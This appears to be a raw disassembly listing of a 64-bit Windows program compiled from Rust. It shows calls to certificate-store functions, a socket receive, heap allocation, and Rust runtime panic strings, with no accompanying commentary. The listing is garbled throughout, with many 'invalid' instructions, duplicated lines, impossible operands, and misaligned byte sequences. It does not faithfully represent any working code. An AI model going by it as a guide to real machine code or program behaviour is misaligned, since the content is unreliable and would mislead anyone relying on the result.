push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
mov rax, qword [rbp - 0x20]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x18]
call fcn.140005270
mov rcx, qword [rbp - 0x28]
call fcn.140029350
inc esi
inc dword [r9]
inc esi
inc dword [r9]
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
cmp byte [rbp - 1], 0
jne 0x140122cc0
mov rcx, qword [rbp - 0x10]
call fcn.140109150
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
test eax, eax
je 0x140122e54
cmp eax, 3
jne 0x140122e4a
movzx eax, byte [rcx + 0x1b0]
test eax, eax
je 0x140122e50
cmp eax, 4
je 0x140122e0a
cmp eax, 3
jne 0x140122e4a
cmp dword [rcx + 0x1b8], 2
mov qword [rbp - 0x10], rcx
je 0x140122e3f
mov rax, qword [rbp - 0x10]
lea rcx, [rax + 0x1b8]
call fcn.140108d10
invalid
invalid
jmp 0x140122e3f
invalid
cmp dword [rcx + 0x1b8], 2
mov qword [rbp - 0x10], rcx
je 0x140122e27
mov rax, qword [rbp - 0x10]
lea rcx, [rax + 0x1b8]
call fcn.140109150
mov rax, qword [rbp - 0x10]
cmp dword [rax + 0x80], 2
je 0x140122e3f
mov rax, qword [rbp - 0x10]
mov byte [rax + 0x1b1], 0
mov rax, qword [rbp - 0x10]
mov byte [rax + 0x1b1], 0
add rsp, 0x30
pop rbp
ret
add rcx, 0x40
add rsp, 0x30
pop rbp
jmp fcn.140108d10
invalid
pop rbp
ret
mov rcx, qword [rcx]
xor edx, edx
jmp qword [sym.imp.crypt32.dll_CertCloseStore]
int3
mov ecx, eax
shl rcx, 0x20
or rcx, 2
xor edi, edi
mov rdx, qword [rdx]
test eax, eax
ror byte [rax + 0xf], 0x45
stc
ror byte [rax + 0xf], 0x45
stc
jne 0x14012302a
lea rcx, [rbp - 0x58]
mov qword [rbp - 0x28], rdx
call fcn.140147b30
cmp qword [rbp - 0x58], 0
je 0x14012300f
and al, byte [rcx]
add byte [rax], al
and al, byte [rcx]
add byte [rax], al
mov r14, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
mov qword [rbp - 0x20], rax
mov rsi, qword [rsi]
xor edi, edi
mov r13, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
invalid
add byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rcx - 0x75], al
or al, 0x48
cmp edi, eax
mov eax, dword [r14 + 0xc]
cmp rdi, rax
jae 0x140123005
mov rax, qword [r14 + 0x10]
test rax, rax
je 0x140123005
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 5], cl
mov rbx, r15
mov rax, qword [rax + rdi*8]
mov rcx, qword [rax + 8]
mov qword [rbp - 8], rcx
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov qword [rbp - 0x30], rax
ror byte [r8 - 1], 1
invalid
mov qword [rbp - 0x38], rdi
xor r15d, r15d
mov rdi, rbx
ror byte [r8 - 1], 1
invalid
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x18], rdi
mov rcx, rsi
mov rdx, r15
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
mov r12, rax
je 0x140122fe0
mov qword [rbp - 0x40], rdi
mov rcx, r12
mov qword [rbp - 8], r12
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
invalid
invalid
add byte [rcx - 0x77], cl
invalid
mov r12, qword [rbp - 8]
mov r8d, dword [r12 + 0x10]
mov rax, qword [rbp - 0x30]
cmp r8d, dword [rax + 0x10]
jne 0x140122fb0
invalid
mov rcx, qword [r12 + 8]
mov rdx, qword [rax + 8]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
sete bl
jmp 0x140122fb2
xor ebx, ebx
mov qword [rbp - 0x10], 1
mov qword [rbp - 0x18], r15
mov rcx, r12
call r13
mov rdi, r15
test bl, bl
je 0x140122f50
mov rcx, r15
call r13
jmp 0x140122fe3
mov r15, rdi
mov rcx, qword [rbp - 0x30]
call r13
call rbp
rol byte [r9 - 1], 1
invalid
call rbp
test r12, r12
mov rdi, qword [rbp - 0x38]
je 0x140122f10
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
xor edi, edi
jmp 0x140123026
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
lea rdx, [0x1401b8b42]
mov r8d, 0x3f
mov cl, 0x27
call fcn.1400e4a10
dec dword [rax - 0x77]
invalid
dec dword [rax - 0x77]
invalid
mov rdx, qword [rbp - 0x28]
mov rcx, rdx
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
mov rax, rdi
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
mov rcx, qword [rbp - 0x28]
call sub.crypt32.dll_CertFreeCertificateChain
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov ecx, dword [rbp - 8]
call sub.crypt32.dll_CertFreeCertificateContext
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
add byte [rax], al
mov rcx, qword [rbp - 0x30]
call sub.crypt32.dll_CertFreeCertificateContext
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax], al
add byte [rax - 0x75], cl
push rbp
call 0x1305fbd1c
invalid
add byte [rax], al
add byte [rax - 0x75], cl
push rbp
call 0x1305fbd1c
invalid
invalid
call fcn.140114ef0
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
pop rdx
in al, dx
ret
ret
ret
mov eax, 0x5ef599be
mov r8b, WSAGetLastError
invalid
int3
mov qword [rbp - 8], 0xfffffffffffffffe
invalid
invalid
invalid
lea ecx, [rax + 0x28]
invalid
invalid
pushfq
invalid
mov ecx, dword [rbp - 0x10]
sal byte [rbp - 0x75], 0xeb
pushfq
nop word [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
mov rcx, qword [rbp - 0x18]
invalid
mov rcx, qword [rbp - 0x18]
call fcn.140029350
mov rax, qword [rbp - 0x10]
lea rcx, [rax + 0x10]
call fcn.14001e250
nop
add rsp, 0x20
add esp, 0x20
adc al, bpl
scasq rax, qword [rdi]
out dx, eax
call qword [rax + 0x20c48348]
add esp, 0x20
add esp, 0x20
pop rbp
ret
sub rsp, 0x20
lea rbp, [rdx + 0x40]
mov rcx, qword [rbp - 0x10]
invalid
add rcx, 0x30
call fcn.14001e250
call qword [rax + 0x20c48348]
call qword [rax + 0x20c48348]
pop rbp
ret
int3
int3
or byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], ebp
or byte [rax], al
add dh, bh
invalid
lea rcx, [rbp + 0x4c0]
mov qword [rbp + 0x810], rdx
mov r8, rdi
clc
clc
call fcn.140111ea0
movzx edi, byte [rbp + 0x4d1]
add al, 0
add byte [rax - 0x80], al
inc dword [rbx]
add al, 0
add byte [rax - 0x80], al
inc dword [rbx]
jne 0x140123413
mov byte [rsi + 0x11], 3
mov al, 4
jmp 0x1401238e2
iretd
add al, 0
invalid
iretd
movdqa xmm6, xmmword [rbp + 0x4c0]
mov bl, byte [rbp + 0x4d0]
add byte [rbx + 0x4d285], cl
add byte [rcx + 0x81885], cl
add byte [rdi], cl
mov bh, 0x85
invalid
add al, 0
add byte [rsi - 0x77], ah
test dword [rax + rcx], ebx
add byte [rax], al
mov rcx, qword [rbp + 0x810]
call fcn.140109560
jmp 0x1401238c1
add byte [rbx + 0x4d285], cl
add byte [rcx + 0x81885], cl
add byte [rdi], cl
mov bh, 0x85
invalid
invalid
add rax, r14
jae 0x1401234c4
call fcn.140161f70
add rax, 0x38640900
jb 0x14012393d
mov r8d, edx
cmp edx, 0x3b9aca00
retf 0x3b9a
jb 0x140123489
retf 0x3b9a
inc rax
je 0x14012393d
add r8d, 0xc4653600
rol byte [rax], 0x36
invalid
mov ecx, r8d
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
invalid
add rax, rcx
jb 0x140123957
invalid
imul ecx, ecx, 0x3b9aca00
sub r8d, ecx
lea r9, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_time_sleep.rs
lea rcx, [rbp + 0x790]
lea ecx, [rbp + 0x790]
mov rdx, rax
call fcn.140177ea0
jmp 0x14012350f
invalid
mov r8d, edx
mov r8d, edx
add r8d, ebx
cmp r8d, 0x3b9aca00
jb 0x1401234df
inc rax
inc eax
je 0x14012345d
add r8d, 0xc4653600
mov ecx, r8d
shr ecx, 9
imul rcx, rcx, 0x44b83
or dword [rbx + 4], 0
or dword [rbx + 4], 0
shr rcx, 0x27
imul ecx, ecx, 0x3b9aca00
sub r8d, ecx
enter 0xffffffffffff8d4c, 0xd
mov eax, 0x480009b7
lea ecx, [rbp + 0x790]
enter 0xffffffffffff8d4c, 0xd
mov eax, 0x480009b7
lea ecx, [rbp + 0x790]
mov rdx, rax
call fcn.140177ea0
invalid
invalid
invalid
add rax, 0xffffffff9d8d4800
rol byte [rax + rax], 0
lea rbx, [rbp + 0x4c0]
lea rdx, [rbp + 0x268]
mov r8d, 0x258
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rbp + 0x790]
movups xmm1, xmmword [rbp + 0x7a0]
movups xmm2, xmmword [rbp + 0x7b0]
movups xmm3, xmmword [rbp + 0x7c0]
movups xmmword [rbp + 0x718], xmm0
add byte [rdi], cl
adc dword [rbp + 0x728], ecx
add byte [rcx - 0x48], al
pop rax
add al, byte [rax]
add byte [rax - 0x77], cl
fld1
mov al, 0x2f
invalid
add byte [rdi], cl
adc dword [rbp + 0x728], ecx
movups xmmword [rbp + 0x738], xmm2
movups xmmword [rbp + 0x748], xmm3
movups xmm0, xmmword [rbp + 0x7d0]
invalid
add byte [rax], al
movups xmmword [rbp + 0x758], xmm0
movups xmm0, xmmword [rbp + 0x7e0]
movups xmmword [rbp + 0x768], xmm0
movdqu xmm0, xmmword [rbp + 0x7f0]
movdqu xmmword [rbp + 0x778], xmm0
lea r14, [rbp - 0x60]
mov r8d, 0x2c8
mov rcx, r14
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r15, qword [rbp + 0x800]
lea rcx, [r15 + 0x270]
mov r8d, 0x2c8
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [r15 + 0x270]
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x100]
cmp eax, 1
mov qword [rbp + 0x810], rdx
je 0x140123638
invalid
test eax, eax
jne 0x140123663
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
lea rcx, [rax + 0xb0]
lea rdx, [0x140165fa0]
call fcn.14014a0c0
mov eax, dword [0x14023c30c]
adc dword [rax], eax
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x100], 1
mov rdx, qword [rbp + 0x810]
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0xfc], 0
setne cl
cmp byte [rax + 0xfd], 0
sete bl
and bl, cl
jmp 0x140123665
xor ebx, ebx
lea rcx, [rbp + 0x4c0]
mov r8, rdi
call fcn.140111ea0
mov rax, qword [rbp + 0x800]
lea r15, [rax + 0x4c8]
movzx r14d, byte [rbp + 0x4d1]
cmp r14b, 3
jne 0x140123747
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x100]
cmp eax, 1
je 0x1401236f7
test eax, eax
jne 0x140123729
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xb0]
add byte [rax], al
add byte [rax], al
lea rdx, [0x140165fa0]
call fcn.14014a0c0
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x100], 1
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx edx, byte [rax + 0xfc]
test dl, dl
sete cl
cmp byte [rax + 0xfd], 0
setne al
or al, cl
or bl, al
cmp bl, 1
jne 0x14012377c
mov rcx, r15
mov rdx, rdi
call fcn.1401780e0
test al, al
je 0x14012383c
mov byte [rsi + 0x11], 3
mov al, 3
jmp 0x1401238e2
mov qword [rbp + 0x820], r15
movdqa xmm6, xmmword [rbp + 0x4c0]
movzx ebx, byte [rbp + 0x4d0]
mov eax, dword [rbp + 0x4d2]
mov dword [rbp + 0x790], eax
movzx eax, word [rbp + 0x4d6]
mov word [rbp + 0x794], ax
jmp 0x140123846
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x82095], cl
add byte [rbx + 0x118b8405], cl
add eax, 0x118b84
mov rcx, qword gs:[0x58]
mov byte [rbp + 0x820], dl
mov eax, dword [0x14023c30c]
add eax, 0x118b84
add eax, 0x118b84
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rcx + rax*8]
add al, 0xc1
mov byte [rax + 0xfc], 0
mov rcx, r15
mov rdx, rdi
cli
cli
call fcn.1401780e0
mov ebx, eax
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
ror dword [rdi], 0xb6
add byte [rax], 1
add byte [rax], al
ror dword [rdi], 0xb6
add byte [rax], 1
mov dh, 0x80
add byte [rcx], al
add byte [rax], al
cmp eax, 1
movzx edi, byte [rbp + 0x820]
je 0x140123813
test eax, eax
jne 0x140123834
mov eax, dword [0x14023c30c]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xb0]
lea ecx, [rax + 0xb0]
lea ecx, [rax + 0xb0]
lea rdx, [0x140165fa0]
call fcn.14014a0c0
mov eax, dword [0x14023c30c]
adc dword [rax], eax
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x100], 1
mov eax, dword [0x14023c30c]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
mov byte [rax + 0xfc], dil
mov byte [rax + 0xfd], 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + rbx*8 - 0xff7af1], al
test dword [rax], eax
invalid
invalid
test bl, bl
jne 0x14012373c
test dword [rax], eax
invalid
invalid
invalid
test dword [rax], eax
invalid
mov qword [rbp + 0x820], r15
add byte [rax], al
mov r14b, 3
movzx eax, word [rbp + 0x794]
add byte [rax], al
mov word [rbp + 0x80c], ax
mov eax, dword [rbp + 0x790]
test dword [rax - 0x76fffff9], edx
test dword [rax], ecx
or byte [rax], al
add byte [rax - 0x75], cl
lea edx, [rax]
or byte [rax], al
invalid
test dword [rax - 0x76fffff9], edx
test dword [rax], ecx
or byte [rax], al
add byte [rax - 0x75], cl
lea edx, [rax]
or byte [rax], al
add al, ch
hlt
add byte [rax], al
call fcn.140109560
mov rcx, qword [rbp + 0x820]
and byte [rax], cl
add byte [rax], al
and byte [rax], cl
add byte [rax], al
call fcn.14006b990
mov dil, 2
cmp r14b, 2
je 0x1401238c1
movzx eax, r14b
cmp eax, 3
jne 0x1401238a4
lea rax, [0x1401b91c8]
movq xmm0, rax
movdqa xmm6, xmmword [0x14018f680]
punpcklqdq xmm6, xmm0
jmp 0x1401238c1
movzx eax, word [rbp + 0x80c]
mov word [rbp + 0x81c], ax
mov eax, dword [rbp + 0x808]
mov dword [rbp + 0x818], eax
mov edi, r14d
movdqu xmmword [rsi], xmm6
mov byte [rsi + 0x10], bl
mov byte [rsi + 0x11], dil
mov eax, dword [rbp + 0x818]
mov dword [rsi + 0x12], eax
movzx eax, word [rbp + 0x81c]
mov word [rsi + 0x16], ax
mov al, 1
mov rcx, qword [rbp + 0x800]
mov byte [rcx + 0x268], al
mov rax, rsi
movaps xmm6, xmmword [rbp + 0x830]
add rsp, 0x8c8
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x1401c1e50]
mov edx, 0x28
call fcn.140186f60
jmp 0x14012399d
lea rax, str.overflow_in_Duration::new
mov qword [rbp + 0x4c0], rax
mov qword [rbp + 0x4c8], 1
lea rax, [0x1401ea218]
mov qword [rbp + 0x4d0], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x4d8], xmm0
lea rdx, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_time.rs
lea rcx, [rbp + 0x4c0]
call fcn.1401869b0
ud2
call 0x18912422d
lea eax, [rdi + 0x58]
mov qword [rbp + 0x1d8], rax
lea rax, [r15 + 0x70]
mov qword [rbp + 0x1e0], rax
lea r12, [rbp + 0x590]
lea r13, [rbp + 0x6d0]
rol byte [rsi], 1
add byte [rax], al
rol byte [rsi], 1
add byte [rax], al
mov dword [rbp + 0x7fc], eax
mov qword [rbp + 0x7f0], r15
mov rdx, qword [r15 + 0x118]
mov rax, qword [r15 + 0x120]
lea rcx, [rbp + 0x250]
call qword [rax + 0x18]
mov rax, qword [rbp + 0x250]
cmp rax, 3
je 0x140124550
cmp eax, 4
je 0x140127356
mov r8d, 0xa0
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x250]
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [rbp + 0x18]
lea ecx, [rax - 0x12d]
cmp ecx, 3
jae 0x140124669
cmp qword [r15], 0
je 0x1401242e6
mov rax, qword [rbp + 0x7f0]
mov rax, qword [rax + 8]
test rax, rax
je 0x1401242e6
mov rcx, qword [rbp + 0x7f0]
mov rdx, qword [rcx + 0x10]
mov r8, qword [rcx + 0x18]
mov rcx, qword [rbp + 0x4f0]
call qword [rax + reloc.WS2_32.dll_recv]
mov r8, qword [rbp + 0x7f0]
mov qword [r8], 0
lea rdx, [0x1401be5f0]
jmp 0x14012430b
add rdx, 0x20
mov r8, qword [rbp + 0x7f0]
lea rax, [0x1401be670]
cmp rdx, rax
je 0x140124610
mov rax, qword [r8 + 0x60]
test rax, rax
je 0x140124300
mov rcx, qword [rbp + 0x6b0]
mov qword [rbp + 0x810], rdx
mov qword [rbp + 0x800], rax
call fcn.1400226e0
mov r9, qword [rbp + 0x800]
mov rdx, qword [rbp + 0x810]
mov r10d, eax
mov rax, qword [rbp + 0x7f0]
movzx r15d, word [rax + 0x80]
mov edi, r10d
and edi, r15d
mov r12, qword [rax + 0x40]
mov rsi, qword [rax + 0x48]
mov r11, qword [rax + 0x50]
xor r14d, r14d
mov dword [rbp + 0x7e8], r10d
mov qword [rbp + 0x7d0], r11
jmp 0x140124396
movzx eax, byte [rax + 8]
cmp al, byte [rdx + 8]
je 0x14012445a
inc r14
inc rdi
mov rax, rdi
nop dword [rax]
mov rdi, rax
mov eax, 0
cmp rdi, rsi
jae 0x1401243a0
movzx ebx, word [r12 + rdi*4]
cmp rbx, 0xffff
je 0x140124300
movzx eax, word [r12 + rdi*4 + 2]
mov ecx, r15d
and ecx, eax
mov r8d, edi
sub r8d, ecx
mov ecx, r15d
and ecx, r8d
cmp r14, rcx
ja 0x140124300
cmp ax, r10w
jne 0x140124390
cmp r9, rbx
jbe 0x140127338
imul r13, rbx, 0x68
mov rcx, qword [r11 + r13 + 0x40]
test rcx, rcx
setne al
cmp qword [rdx], 0
sete r8b
cmp al, r8b
je 0x140124390
lea rax, [r11 + r13]
add rax, 0x40
test rcx, rcx
je 0x140124383
mov r8, qword [rax + 0x10]
cmp r8, qword [rdx + 0x10]
jne 0x140124390
mov rdx, qword [rdx + 8]
mov rcx, qword [rax + 8]
call sub.VCRUNTIME140.dll_memcmp
mov r11, qword [rbp + 0x7d0]
mov r10d, dword [rbp + 0x7e8]
mov r9, qword [rbp + 0x800]
mov rdx, qword [rbp + 0x810]
test eax, eax
jne 0x140124390
cmp qword [r11 + r13], 0
je 0x14012447b
add r11, r13
mov rdx, qword [r11 + 8]
mov byte [rbp + 0x826], 1
mov rcx, qword [rbp + 0x6b0]
call fcn.1400672f0
mov byte [rbp + 0x826], 1
lea rcx, [rbp + 0x6d0]
mov rdx, qword [rbp + 0x6b0]
mov r8, rdi
mov r9, rbx
call fcn.140046960
mov rdx, qword [rbp + 0x810]
lea rcx, [rbp + 0x7a0]
mov rax, qword [rcx - 0x98]
mov qword [rbp + 0x5b0], rax
movups xmm0, xmmword [rcx - 0xb8]
movdqu xmm1, xmmword [rcx - 0xa8]
movdqa xmmword [rbp + 0x5a0], xmm1
movaps xmmword [rbp + 0x590], xmm0
mov rax, qword [rbp + 0x710]
test rax, rax
je 0x14012450a
mov rax, qword [rax + 0x10]
mov rdx, qword [rbp + 0x718]
mov r8, qword [rbp + 0x720]
mov byte [rbp + 0x826], 1
add byte [rax], al
add dword [rax - 0x73], ecx
lea ebp, [rax]
invalid
add byte [rax], al
call rax
mov rdx, qword [rbp + 0x810]
or byte [rax], al
invalid
add byte [rax], al
add dword [rax - 0x73], ecx
lea ebp, [rax]
invalid
or byte [rax], al
add byte [rax + 0x5b0bd], al
add byte [rdx], al
cmp byte [rbp + 0x5b0], 2
je 0x140124300
mov rax, qword [rbp + 0x590]
mov rdx, qword [rbp + 0x598]
mov rax, qword [rax + 0x10]
mov r8, qword [rbp + 0x5a0]
mov byte [rbp + 0x826], 1
lea rcx, [rbp + 0x5a8]
call rax
mov rdx, qword [rbp + 0x810]
jmp 0x140124300
mov rsi, qword [rbp + 0x258]
mov qword [rbp + 0x2f0], rsi
mov rdi, qword [rsi]
test rdi, rdi
je 0x14012737c
mov rax, qword [rsi + 8]
mov rax, qword [rax + 0x38]
mov byte [rbp + 0x821], 1
mov rcx, rdi
call rax
movabs rcx, 0xc449051be2c18972
xor rax, rcx
movabs rcx, 0xe8d3c7ff1310d179
xor rdx, rcx
or rdx, rax
jne 0x14012737c
cmp byte [rdi], 1
jne 0x14012737c
cmp byte [rdi + 1], 2
jne 0x14012737c
cmp dword [rdi + 4], 0
jne 0x14012737c
cmp qword [r15], 0
je 0x1401249fb
mov rax, qword [r15 + 8]
test rax, rax
je 0x14012737c
mov rax, qword [rax]
mov r8, qword [r15 + 0x10]
mov r9, qword [r15 + 0x18]
mov byte [rbp + 0x821], 1
lea rcx, [rbp + 0x538]
mov rdx, qword [rbp + 0x4f0]
call rax
mov rax, qword [r15 + 0x128]
cmp rax, 1
jbe 0x140124a33
jmp 0x140127369
mov rax, qword [rbp + 0x698]
movzx eax, byte [rax]
mov ecx, eax
or ecx, 4
cmp ecx, 5
lea r13, [rbp + 0x6d0]
je 0x140124688
cmp al, 0xa
jb 0x14012464f
cmp qword [r8 + 0xf0], 0
je 0x14012464f
mov r8, qword [r8 + 0xe8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x698]
movabs rcx, 0x101010101010101
add dword [rax - 0x77], ecx
adc byte [rdi], cl
adc dword [rax], edi
jmp 0x140124688
add eax, 0xfffffecd
cmp eax, 2
clc
add cl, byte [rdi]
invalid
test byte [rcx], ch
add byte [rax], al
clc
add cl, byte [rdi]
add dword [rcx + rbp - 0x7cb70000], 0x3f
add byte [rbx + rcx + 0x49], dh
cmp dword [rdi + 8], 0
cmp qword [r15], 0
je 0x140124688
cmp qword [r15 + 8], 0
je 0x140126ffb
movups xmm0, xmmword [0x1401be680]
movaps xmmword [rbp + 0x6e0], xmm0
movups xmm0, xmmword [0x1401be670]
movaps xmmword [rbp + 0x6d0], xmm0
mov byte [rbp + 0x826], 1
lea rcx, [rbp - 0x50]
mov rdx, r13
call fcn.140026a00
test rax, rax
je 0x140126ff4
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rsi, [rbp + 0x590]
mov rcx, rsi
call fcn.140014980
cmp qword [rbp + 0x590], 0
jne 0x140126fa0
mov r8, qword [rbp + 0x598]
mov r9, qword [rbp + 0x5a0]
movdqa xmmword [rbp + 0x590], xmm6
mov qword [rbp + 0x5a0], 0
mov rax, qword [rbp + 0x4c8]
mov qword [rbp + 0x5b0], rax
mov byte [rbp + 0x826], 1
lea rcx, [rbp + 0x6d0]
mov rdx, rsi
mov edx, esi
mov edx, esi
call fcn.14017b2c0
mov r15d, dword [rbp + 0x6d0]
cmp r15d, 2
inc dword [rdx]
inc dword [rdx]
je 0x140126fa0
lea r14, [rbp + 0x7a0]
mov eax, dword [r14 - 0x7c]
lea rcx, [rbp + 0x394]
mov dword [rcx + 0x50], eax
movups xmm0, xmmword [r14 - 0x8c]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [r14 - 0xcc]
movdqu xmm1, xmmword [r14 - 0xbc]
movups xmm2, xmmword [r14 - 0xac]
movups xmm3, xmmword [r14 - 0x9c]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movdqu xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov dword [rbp + 0x390], r15d
mov rsi, qword [rbp + 0x3a0]
mov rdi, qword [rbp + 0x3b0]
test rdi, rdi
je 0x1401247f8
js 0x140127bb5
movzx eax, byte [0x14023c308]
mov rax, qword [0x14023c258]
test rax, rax
mov r13, qword [rbp + 0x7f0]
jne 0x1401247dd
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140127a6b
mov qword [0x14023c258], rax
mov dword [0x14023c258], eax
mov rcx, rax
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test al, 6
add byte [rax - 0x77], cl
ret
test rax, rax
jne 0x140124804
test al, 6
add byte [rax - 0x77], cl
ret
jmp 0x140127a6b
mov ebx, 1
mov r13, qword [rbp + 0x7f0]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x250], rbx
mov qword [rbp + 0x258], rdi
mov qword [rbp + 0x260], rdi
lea rcx, [rbp + 0x50]
lea rdx, [rbp + 0x250]
call fcn.140012450
lea rcx, [rbp + 0x6d0]
lea rdx, [rbp + 0x50]
call fcn.14003be20
cmp byte [rbp + 0x6d0], 3
je 0x140126f84
movups xmm0, xmmword [rbp + 0x6d0]
movdqu xmm1, xmmword [rbp + 0x6e0]
movups xmm2, xmmword [rbp + 0x6f0]
movups xmm3, xmmword [rbp + 0x700]
movaps xmmword [rbp + 0x590], xmm0
mov rax, qword [rbp + 0x720]
mov qword [rbp + 0x5e0], rax
movups xmm0, xmmword [rbp + 0x710]
add byte [rax], al
add byte [rax], al
movaps xmmword [rbp + 0x5d0], xmm0
movaps xmmword [rbp + 0x5c0], xmm3
movaps xmmword [rbp + 0x5b0], xmm2
movdqa xmmword [rbp + 0x5a0], xmm1
cmp byte [rbp + 0x590], 3
je 0x140126f84
lea rcx, [rbp + 0x590]
call fcn.14006d7b0
lea r8, [rbp + 0x394]
mov eax, dword [r8 + 8]
mov dword [rbp + 0x338], eax
mov rcx, qword [r8]
mov qword [rbp + 0x330], rcx
mov rdx, qword [rbp + 0x3a8]
movups xmm0, xmmword [r8 + 0x1c]
movups xmm1, xmmword [r8 + 0x2c]
movups xmm2, xmmword [r8 + 0x3c]
movaps xmmword [rbp + 0x100], xmm0
movaps xmmword [rbp + 0x110], xmm1
movaps xmmword [rbp + 0x120], xmm2
mov r8, qword [r8 + 0x4c]
mov qword [rbp + 0x130], r8
mov dword [rbp + 0x6a8], eax
mov qword [rbp + 0x6a0], rcx
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x320], rax
movaps xmm0, xmmword [rbp + 0x100]
movaps xmm1, xmmword [rbp + 0x110]
movaps xmm2, xmmword [rbp + 0x120]
xchg ebp, eax
and byte [rcx], al
add byte [rax], al
xchg ebp, eax
and byte [rcx], al
add byte [rax], al
movaps xmmword [rbp + 0x310], xmm2
movaps xmmword [rbp + 0x300], xmm1
movaps xmmword [rbp + 0x2f0], xmm0
mov dword [rbp + 0x538], r15d
mov eax, dword [rbp + 0x6a8]
lea rcx, [rbp + 0x548]
mov dword [rcx - 4], eax
mov rax, qword [rbp + 0x6a0]
mov qword [rcx - 0xc], rax
mov qword [rbp + 0x548], rsi
mov qword [rbp + 0x550], rdx
mov rax, qword [rbp + 0x320]
mov qword [rcx + 0x40], rax
movaps xmm0, xmmword [rbp + 0x2f0]
lock add al, byte [rax]
add byte [rsi + 0xf], ah
